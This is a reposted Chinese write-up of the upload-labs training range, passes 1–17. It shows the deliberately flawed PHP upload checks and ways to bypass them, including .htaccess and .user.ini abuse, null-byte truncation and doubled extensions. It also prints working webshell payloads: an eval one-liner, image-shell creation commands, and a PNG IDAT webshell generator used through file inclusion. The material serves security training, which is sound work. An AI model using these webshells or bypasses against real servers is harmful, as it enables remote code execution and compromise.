原文 https://www.yuque.com/ni4n/blogs/sdby0f

Pass-01 JS检查

首先,通过审计,文件上传部分是没有问题的。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. //判断路径是否存在
  6. if (file_exists(UPLOAD_PATH)) {
  7. //存储在服务器的文件的临时副本的名称
  8. $temp_file = $_FILES['upload_file']['tmp_name']
  9. //上传文件路径;
  10. $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
  11. //如果 upload 目录不存在该文件则将文件上传到 upload 目录下
  12. if (move_uploaded_file($temp_file, $img_path)){
  13. $is_upload = true;
  14. } else {
  15. $msg = '上传出错!';
  16. }
  17. } else {
  18. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  19. }
  20. }
  21. ?>

然后是有一个文件检查函数,是用的JavaScript写的;即js检测,属于前端检查

  1. <script type="text/javascript">
  2. function checkFile() {
  3. //获取上传文件名字
  4. var file = document.getElementsByName('upload_file')[0].value;
  5. //如果文件不存在,提示上传
  6. if (file == null || file == "") {
  7. alert("请选择要上传的文件!");
  8. return false;
  9. }
  10. //定义允许上传的文件类型
  11. var allow_ext = ".jpg|.png|.gif";
  12. //(获取点以后的字符)提取上传文件的类型
  13. var ext_name = file.substring(file.lastIndexOf("."));
  14. //如果上传的文件名称不在允许列表内
  15. if (allow_ext.indexOf(ext_name) == -1) {
  16. var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
  17. alert(errMsg);
  18. return false;
  19. }
  20. }
  21. </script>

针对前端绕过,可以通过上传文件名为允许列表中的名字,然后抓包修改为php然后上传;或者禁用JS;有能力还可以调试JS。不过本人觉得第一种方法最简单。

upload-labs笔记(转载) - 图1

Pass-02 MIME 类型校验

本关是对文件上传部分就进行了检查,不过只对Content-Type字段进行了检查

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. //此处校验Content-Type头是否为image/jpeg,image/png或image/gif
  7. if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
  8. $temp_file = $_FILES['upload_file']['tmp_name'];
  9. $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
  10. if (move_uploaded_file($temp_file, $img_path)) {
  11. $is_upload = true;
  12. } else {
  13. $msg = '上传出错!';
  14. }
  15. } else {
  16. $msg = '文件类型不正确,请重新上传!';
  17. }
  18. } else {
  19. $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
  20. }
  21. }
  22. ?>

因此,可以在上传php文件时抓包Content-Type头修改为列表内允许的即可。

修改前

upload-labs笔记(转载) - 图2

修改后

upload-labs笔记(转载) - 图3

Pass-03 黑名单

本关对上传的文件后缀名采用了黑名单限制,但是还不够严格;此处还对上传文件进行了重命名,不过我们可以根据返回的包看到它的真实文件名。

  1. <?php
  2. //过滤了点,限制了大小写混写,过滤了::$DATA,首尾去空,采用黑名单机制限制上传
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6. if (file_exists(UPLOAD_PATH)) {
  7. $deny_ext = array('.asp','.aspx','.php','.jsp');//定义黑名单
  8. $file_name = trim($_FILES['upload_file']['name']);//上传的文件名
  9. $file_name = deldot($file_name);//删除文件名末尾的点
  10. $file_ext = strrchr($file_name, '.');//从点开始往后返回字符,即提取第一次处理后的文件后缀
  11. $file_ext = strtolower($file_ext); //转换为小写
  12. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13. $file_ext = trim($file_ext); //首尾去空
  14. if(!in_array($file_ext, $deny_ext)) {//判断处理后的文件后缀是否在黑名单内
  15. $temp_file = $_FILES['upload_file']['tmp_name'];
  16. $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //生成随机文件名
  17. if (move_uploaded_file($temp_file,$img_path)) {
  18. $is_upload = true;
  19. } else {
  20. $msg = '上传出错!';
  21. }
  22. } else {
  23. $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
  24. }
  25. } else {
  26. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  27. }
  28. }
  29. ?>

根据apeach的特性,apeach在一定条件下可以解析phtml,php3,php4,php5,pht,php;因此可以尝试上传这些文件类型。此处我用到是phtml文件,成功解析。

upload-labs笔记(转载) - 图4

upload-labs笔记(转载) - 图5

Pass-04 .htaccess的妙用

本关与上一关相比,对黑名单的限制进行了大大的增强,但是没有禁用.htaccess文件;同时在上传之后没有对文件重命名,这对我们利用.htaccess文件提供了条件。当然嗷,前提是apeach配置文件中写有AllowOverride All 而且加载mod_Rewrite模块。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = strtolower($file_ext); //转换为小写
  11. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12. $file_ext = trim($file_ext); //首尾去空
  13. if (!in_array($file_ext, $deny_ext)) {
  14. $temp_file = $_FILES['upload_file']['tmp_name'];
  15. $img_path = UPLOAD_PATH.'/'.$file_name;
  16. if (move_uploaded_file($temp_file, $img_path)) {
  17. $is_upload = true;
  18. } else {
  19. $msg = '上传出错!';
  20. }
  21. } else {
  22. $msg = '此文件不允许上传!';
  23. }
  24. } else {
  25. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  26. }
  27. }
  28. ?>

我们可以创建一个.htaccess 文件,文件内容如下;使得apeach可以使任何文件都以php文件解析

  1. SetHandler application/x-httpd-php

然后上传一个png等合法文件,访问结果如下。

upload-labs笔记(转载) - 图6

.htaccess文件

一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)。

在前提条件满足的情况下,利用.htaccess文件可以对其进行配置使得Apeach可以使任意文件解析为php;一般有以下几种写法。

  1. SetHandler application/x-httpd-php
  2. //使得任意文件都以php文件解析
  3. AddType application/x-httpd-php xxx
  4. //使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件
  5. <FilesMatch "shell.jpg">
  6. SetHandler application/x-httpd-php
  7. </FilesMatch>
  8. //使Apache把shell.jpg文件解析为php文件

另一种解法

apeach认为文件可以有多个后缀名,他会从文件的最右面开始解析,直到它解析到它认识的为止,因此此处可以上传一个N.php.a的文件以绕过检查。

upload-labs笔记(转载) - 图7

Pass-05 .user.ini的使用

本关代码和上关类似,不过禁用了.htaccess文件,但是没有限制.user.ini文件。而且上传目录还有个readme.php文件

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = strtolower($file_ext); //转换为小写
  11. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12. $file_ext = trim($file_ext); //首尾去空
  13. if (!in_array($file_ext, $deny_ext)) {
  14. $temp_file = $_FILES['upload_file']['tmp_name'];
  15. $img_path = UPLOAD_PATH.'/'.$file_name;
  16. if (move_uploaded_file($temp_file, $img_path)) {
  17. $is_upload = true;
  18. } else {
  19. $msg = '上传出错!';
  20. }
  21. } else {
  22. $msg = '此文件类型不允许上传!';
  23. }
  24. } else {
  25. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  26. }
  27. }
  28. ?>

我们可以创建一个.user.ini文件,然后上传;内容如下

  1. auto_prepend_file=a.jpg

然后上传一个a.jpg的马

  1. <?php @eval($_POST['pass'])?>

此时去连接readme.php即可获得shell。(但是我这个靶场环境可能有问题,没有成功)

.user.ini

upload-labs笔记(转载) - 图8

简单地来说,就是可以作为类似.htaccess的配置文件使用,而且不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

在.user.ini中有这么两项

  1. auto_prepend_file //在页面顶部加载文件
  2. auto_append_file //在页面底部加载文件

auto_prepend_file=a.jpg 表示,使所有php文件都包含该图片。

不过也存在使用前提:

(1)服务器脚本语言为PHP

(2)对应目录下面有可执行的php文件

(3)服务器使用CGI/FastCGI模式

而且经过尝试,上一关的另一种解题方式在这一关也适用。

Pass-06 大小写混写绕过

本关对黑名单做了很严格的限制,但是此处仍存在漏洞;in_arry() 在搜索时会区分大小写;而且本关代码删掉了将文件后缀转为小写的部分。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11. $file_ext = trim($file_ext); //首尾去空
  12. if (!in_array($file_ext, $deny_ext)) {//搜索时区分大小写
  13. $temp_file = $_FILES['upload_file']['tmp_name'];
  14. $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改名字
  15. if (move_uploaded_file($temp_file, $img_path)) {
  16. $is_upload = true;
  17. } else {
  18. $msg = '上传出错!';
  19. }
  20. } else {
  21. $msg = '此文件类型不允许上传!';
  22. }
  23. } else {
  24. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25. }
  26. }
  27. ?>

我们可以上传一个后缀为.Php的文件,然后访问其真实路径

upload-labs笔记(转载) - 图9

Pass-07 空格绕过

本关和上一关区别就是加上了转换为小写的代码;但删除了对空格的限制。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  7. $file_name = $_FILES['upload_file']['name'];
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = strtolower($file_ext); //转换为小写
  11. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12. if (!in_array($file_ext, $deny_ext)) {
  13. $temp_file = $_FILES['upload_file']['tmp_name'];
  14. $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改文件后缀名
  15. if (move_uploaded_file($temp_file,$img_path)) {
  16. $is_upload = true;
  17. } else {
  18. $msg = '上传出错!';
  19. }
  20. } else {
  21. $msg = '此文件不允许上传';
  22. }
  23. } else {
  24. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25. }
  26. }
  27. ?>

我们可以上传文件时抓包,在其后缀名后面加一个空格,然后访问真实路径

但是本关应该在Windows系统下才可以,因为windows系统会自动去掉不符合规则符号后面的内容

upload-labs笔记(转载) - 图10

Pass-08 点绕过

很明显,本关缺少了对点的限制。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_ext = strrchr($file_name, '.');
  9. $file_ext = strtolower($file_ext); //转换为小写
  10. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11. $file_ext = trim($file_ext); //首尾去空
  12. if (!in_array($file_ext, $deny_ext)) {
  13. $temp_file = $_FILES['upload_file']['tmp_name'];
  14. $img_path = UPLOAD_PATH.'/'.$file_name;
  15. if (move_uploaded_file($temp_file, $img_path)) {
  16. $is_upload = true;
  17. } else {
  18. $msg = '上传出错!';
  19. }
  20. } else {
  21. $msg = '此文件类型不允许上传!';
  22. }
  23. } else {
  24. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25. }
  26. }
  27. ?>

本关同样利用上一关中提到的Windows的特性,抓包,在文件后缀名后加点,即可绕过

upload-labs笔记(转载) - 图11

Pass-09 ::$DATA绕过

可以看到,本关是没有限制::$DATA

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = strtolower($file_ext); //转换为小写
  11. $file_ext = trim($file_ext); //首尾去空
  12. if (!in_array($file_ext, $deny_ext)) {
  13. $temp_file = $_FILES['upload_file']['tmp_name'];
  14. $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//修改文件名
  15. if (move_uploaded_file($temp_file, $img_path)) {
  16. $is_upload = true;
  17. } else {
  18. $msg = '上传出错!';
  19. }
  20. } else {
  21. $msg = '此文件类型不允许上传!';
  22. }
  23. } else {
  24. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  25. }
  26. }
  27. ?>

我们可以利用Windows的另一个特性:

在php+windows的情况下:如果文件名+::$DATA会把::upload-labs笔记(转载) - 图12DATA”之前的文件名。利用windows特性,可在后缀名中加 ::$DATA绕过

upload-labs笔记(转载) - 图13

Pass-10 点空点绕过

本关,

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = deldot($file_name);//删除文件名末尾的点
  9. $file_ext = strrchr($file_name, '.');
  10. $file_ext = strtolower($file_ext); //转换为小写
  11. $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12. $file_ext = trim($file_ext); //首尾去空
  13. if (!in_array($file_ext, $deny_ext)) {
  14. $temp_file = $_FILES['upload_file']['tmp_name'];
  15. $img_path = UPLOAD_PATH.'/'.$file_name; //文件名拼接的是仅对后缀去点处理的名字
  16. if (move_uploaded_file($temp_file, $img_path)) {
  17. $is_upload = true;
  18. } else {
  19. $msg = '上传出错!';
  20. }
  21. } else {
  22. $msg = '此文件类型不允许上传!';
  23. }
  24. } else {
  25. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  26. }
  27. }
  28. ?>

我们可以采用网上的方式,上传php文件抓包,对其后缀增加点空格点,即可绕过,也可以上传N.php.a进行绕过。

Pass-11 双写文件名绕过

这一关依然是黑名单限制,但是,在这里是用str_ireplace 对黑名单后缀名替换为空。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])) {
  5. if (file_exists(UPLOAD_PATH)) {
  6. $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
  7. $file_name = trim($_FILES['upload_file']['name']);
  8. $file_name = str_ireplace($deny_ext,"", $file_name); //将黑名单中的文件名替换为空
  9. $temp_file = $_FILES['upload_file']['tmp_name'];
  10. $img_path = UPLOAD_PATH.'/'.$file_name;
  11. if (move_uploaded_file($temp_file, $img_path)) {
  12. $is_upload = true;
  13. } else {
  14. $msg = '上传出错!';
  15. }
  16. } else {
  17. $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  18. }
  19. }
  20. ?>

由于str_ireplace 在替换时只查找一次,因此可以采用后缀双写的方式进行绕过;即上传后缀名为.pphphp 这样在处理后,后缀名依然为.php

Pass-12 %00截断 GET型

这一关,采用白名单方式限制,但是文件路径直接拼接,且以GET方式传向后端。

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if(isset($_POST['submit'])){
  5. $ext_arr = array('jpg','png','gif');
  6. $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  7. if(in_array($file_ext,$ext_arr)){
  8. $temp_file = $_FILES['upload_file']['tmp_name'];
  9. $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //文件路径直接拼接,且以GET方式传向后端
  10. if(move_uploaded_file($temp_file,$img_path)){
  11. $is_upload = true;
  12. } else {
  13. $msg = '上传出错!';
  14. }
  15. } else{
  16. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  17. }
  18. }
  19. ?>

我们可以将上传文件名改为png后缀,然后save_path=../upload/改为save_path=../upload/N.php%00 然后上传,访问N.php

upload-labs笔记(转载) - 图14

0x00截断原理

php内核是以C语言实现的,所以使用了C语言中的一些字符串处理函数。比如在连接字符串时,0字节(0x00)将作为字符串结束符,所以在路径后添加0字节之后,其在拼接时到N.php便停止了。因此最终保留下的文件即为N.php。

另外,此处是以GET方式传递的,这样会默认URL解码一次,而%00解码后即为0字节。

利用前提:

php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

Pass-13 %00截断 POST型

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if(isset($_POST['submit'])){
  5. $ext_arr = array('jpg','png','gif');
  6. $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  7. if(in_array($file_ext,$ext_arr)){
  8. $temp_file = $_FILES['upload_file']['tmp_name'];
  9. $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  10. if(move_uploaded_file($temp_file,$img_path)){
  11. $is_upload = true;
  12. } else {
  13. $msg = "上传失败";
  14. }
  15. } else {
  16. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  17. }
  18. }
  19. ?>

本关和上一关不同的只是以POST方式传向后端;因此手法有一点点不同;就是在抓包之后,添加%00后要对%00进行手动的URL解码

Pass-14 文件头检查绕过

很简单嗷,通过读取上传文件内容的前两个字节,判断文件头看是否在白名单里。

  1. <?php
  2. //检查文件头是否符合条件
  3. function getReailFileType($filename){
  4. $file = fopen($filename, "rb"); //打开文件
  5. $bin = fread($file, 2); //只读2字节
  6. fclose($file);
  7. $strInfo = @unpack("C2chars", $bin);//从二进制字符串对数据进行解包
  8. $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //转换为整数
  9. $fileType = '';
  10. switch($typeCode){
  11. case 255216:
  12. $fileType = 'jpg';
  13. break;
  14. case 13780:
  15. $fileType = 'png';
  16. break;
  17. case 7173:
  18. $fileType = 'gif';
  19. break;
  20. default:
  21. $fileType = 'unknown';
  22. }
  23. return $fileType;
  24. }
  25. $is_upload = false;
  26. $msg = null;
  27. if(isset($_POST['submit'])){
  28. $temp_file = $_FILES['upload_file']['tmp_name'];
  29. $file_type = getReailFileType($temp_file);
  30. if($file_type == 'unknown'){
  31. $msg = "文件未知,上传失败!";
  32. }else{
  33. $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  34. if(move_uploaded_file($temp_file,$img_path)){
  35. $is_upload = true;
  36. } else {
  37. $msg = "上传出错!";
  38. }
  39. }
  40. }
  41. ?>

我们只需要生成个图片马即可绕过,不过要配合文件包含漏洞使用。

由于它只检测头部因此我们传入一个内容如下的php文件即可

  1. GIF89a
  2. <?php phpinfo(); ?>

也可以用一张图片加一个php文件生成图片马。

  1. copy 22.jpg /b + 1.php /a shell.jpg

Pass-15 getimagesize()检测绕过

本关用getimagesize函数对上传文件类型进行判断。

  1. <?php
  2. //检测文件是否为图片
  3. function isImage($filename){
  4. $types = '.jpeg|.png|.gif';
  5. if(file_exists($filename)){
  6. $info = getimagesize($filename);//获取文件信息
  7. $ext = image_type_to_extension($info[2]);//返回文件类型
  8. if(stripos($types,$ext)>=0){//判断是否为图片
  9. return $ext;
  10. }else{
  11. return false;
  12. }
  13. }else{
  14. return false;
  15. }
  16. }
  17. $is_upload = false;
  18. $msg = null;
  19. if(isset($_POST['submit'])){
  20. $temp_file = $_FILES['upload_file']['tmp_name'];
  21. $res = isImage($temp_file);
  22. if(!$res){
  23. $msg = "文件未知,上传失败!";
  24. }else{
  25. $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
  26. if(move_uploaded_file($temp_file,$img_path)){
  27. $is_upload = true;
  28. } else {
  29. $msg = "上传出错!";
  30. }
  31. }
  32. }
  33. ?>

我们仍然使用图片马即可绕过。

Pass-16 exif_imagetype()检测绕过

本关是用exif_imagetype函数对文件类型进行检测。

  1. <?php
  2. function isImage($filename){
  3. //需要开启php_exif模块
  4. //判断文件类型
  5. $image_type = exif_imagetype($filename);
  6. switch ($image_type) {
  7. case IMAGETYPE_GIF:
  8. return "gif";
  9. break;
  10. case IMAGETYPE_JPEG:
  11. return "jpg";
  12. break;
  13. case IMAGETYPE_PNG:
  14. return "png";
  15. break;
  16. default:
  17. return false;
  18. break;
  19. }
  20. }
  21. $is_upload = false;
  22. $msg = null;
  23. if(isset($_POST['submit'])){
  24. $temp_file = $_FILES['upload_file']['tmp_name'];
  25. $res = isImage($temp_file);
  26. if(!$res){
  27. $msg = "文件未知,上传失败!";
  28. }else{
  29. $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
  30. if(move_uploaded_file($temp_file,$img_path)){
  31. $is_upload = true;
  32. } else {
  33. $msg = "上传出错!";
  34. }
  35. }
  36. }
  37. ?>

用图片马依然可以绕过。

Pass-17 二次渲染

本关首先对文件后缀名做了白名单限制,并对文件类型进行检测,对合法文件又进行二次渲染

  1. <?php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit'])){
  5. // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  6. $filename = $_FILES['upload_file']['name'];
  7. $filetype = $_FILES['upload_file']['type'];
  8. $tmpname = $_FILES['upload_file']['tmp_name'];
  9. $target_path=UPLOAD_PATH.'/'.basename($filename);
  10. // 获得上传文件的扩展名
  11. $fileext= substr(strrchr($filename,"."),1);
  12. //判断文件后缀与类型,合法才进行上传操作
  13. if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  14. if(move_uploaded_file($tmpname,$target_path)){
  15. //使用上传的图片生成新的图片
  16. $im = imagecreatefromjpeg($target_path);
  17. if($im == false){
  18. $msg = "该文件不是jpg格式的图片!";
  19. @unlink($target_path);
  20. }else{
  21. //给新图片指定文件名
  22. srand(time());
  23. $newfilename = strval(rand()).".jpg";
  24. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  25. $img_path = UPLOAD_PATH.'/'.$newfilename;
  26. imagejpeg($im,$img_path);
  27. @unlink($target_path);
  28. $is_upload = true;
  29. }
  30. } else {
  31. $msg = "上传出错!";
  32. }
  33. }else if(($fileext == "png") && ($filetype=="image/png")){
  34. if(move_uploaded_file($tmpname,$target_path)){
  35. //使用上传的图片生成新的图片
  36. $im = imagecreatefrompng($target_path);
  37. if($im == false){
  38. $msg = "该文件不是png格式的图片!";
  39. @unlink($target_path);
  40. }else{
  41. //给新图片指定文件名
  42. srand(time());
  43. $newfilename = strval(rand()).".png";
  44. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  45. $img_path = UPLOAD_PATH.'/'.$newfilename;
  46. imagepng($im,$img_path);
  47. @unlink($target_path);
  48. $is_upload = true;
  49. }
  50. } else {
  51. $msg = "上传出错!";
  52. }
  53. }else if(($fileext == "gif") && ($filetype=="image/gif")){
  54. if(move_uploaded_file($tmpname,$target_path)){
  55. //使用上传的图片生成新的图片
  56. $im = imagecreatefromgif($target_path);
  57. if($im == false){
  58. $msg = "该文件不是gif格式的图片!";
  59. @unlink($target_path);
  60. }else{
  61. //给新图片指定文件名
  62. srand(time());
  63. $newfilename = strval(rand()).".gif";
  64. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  65. $img_path = UPLOAD_PATH.'/'.$newfilename;
  66. imagegif($im,$img_path);
  67. @unlink($target_path);
  68. $is_upload = true;
  69. }
  70. } else {
  71. $msg = "上传出错!";
  72. }
  73. }else{
  74. $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
  75. }
  76. }
  77. ?>

针对不同类型图片有不同的处理方式进行绕过

GIF

将准备好的gif文件上传到目标网站,然后将渲染后的gif图导出,用010Editor对两个文件内容对比;然后将payload插入到灰色(即渲染前后没有发生变化的部分)然后上传即可。

PNG

有两种方式可以处理。

写入 PLTE 数据块

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像,所以还是有所限制的。

我们可以利用一个脚本对符合条件的图片进行处理,生成图片马

  1. python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o shell.png old.png

写入IDAT数据块

这里可以用一个大牛的代码,运行后在当前目录生成一个名为shell.png的图片马。

  1. <?php
  2. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  3. 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  4. 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  5. 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  6. 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  7. 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  8. 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  9. 0x66, 0x44, 0x50, 0x33);
  10. $img = imagecreatetruecolor(32, 32);
  11. for ($y = 0; $y < sizeof($p); $y += 3) {
  12. $r = $p[$y];
  13. $g = $p[$y+1];
  14. $b = $p[$y+2];
  15. $color = imagecolorallocate($img, $r, $g, $b);
  16. imagesetpixel($img, round($y / 3), 0, $color);
  17. }
  18. imagepng($img,'./shell.png');
  19. ?>

我们看一下这个马

upload-labs笔记(转载) - 图15

使用方法,用文件包含漏洞访问

  1. http://127.0.0.1/?0=system&file=./upload/4.png

POST执行命令

  1. 1=ls

JPG

这里使用jpg_payload.php

首先要将jpg文件传到目标网站再导出;然后处理。

  1. php jpg_payload.php b.jpg

此时上传即可。

关于二次渲染具体可参考该链接

Pass-18 条件竞争

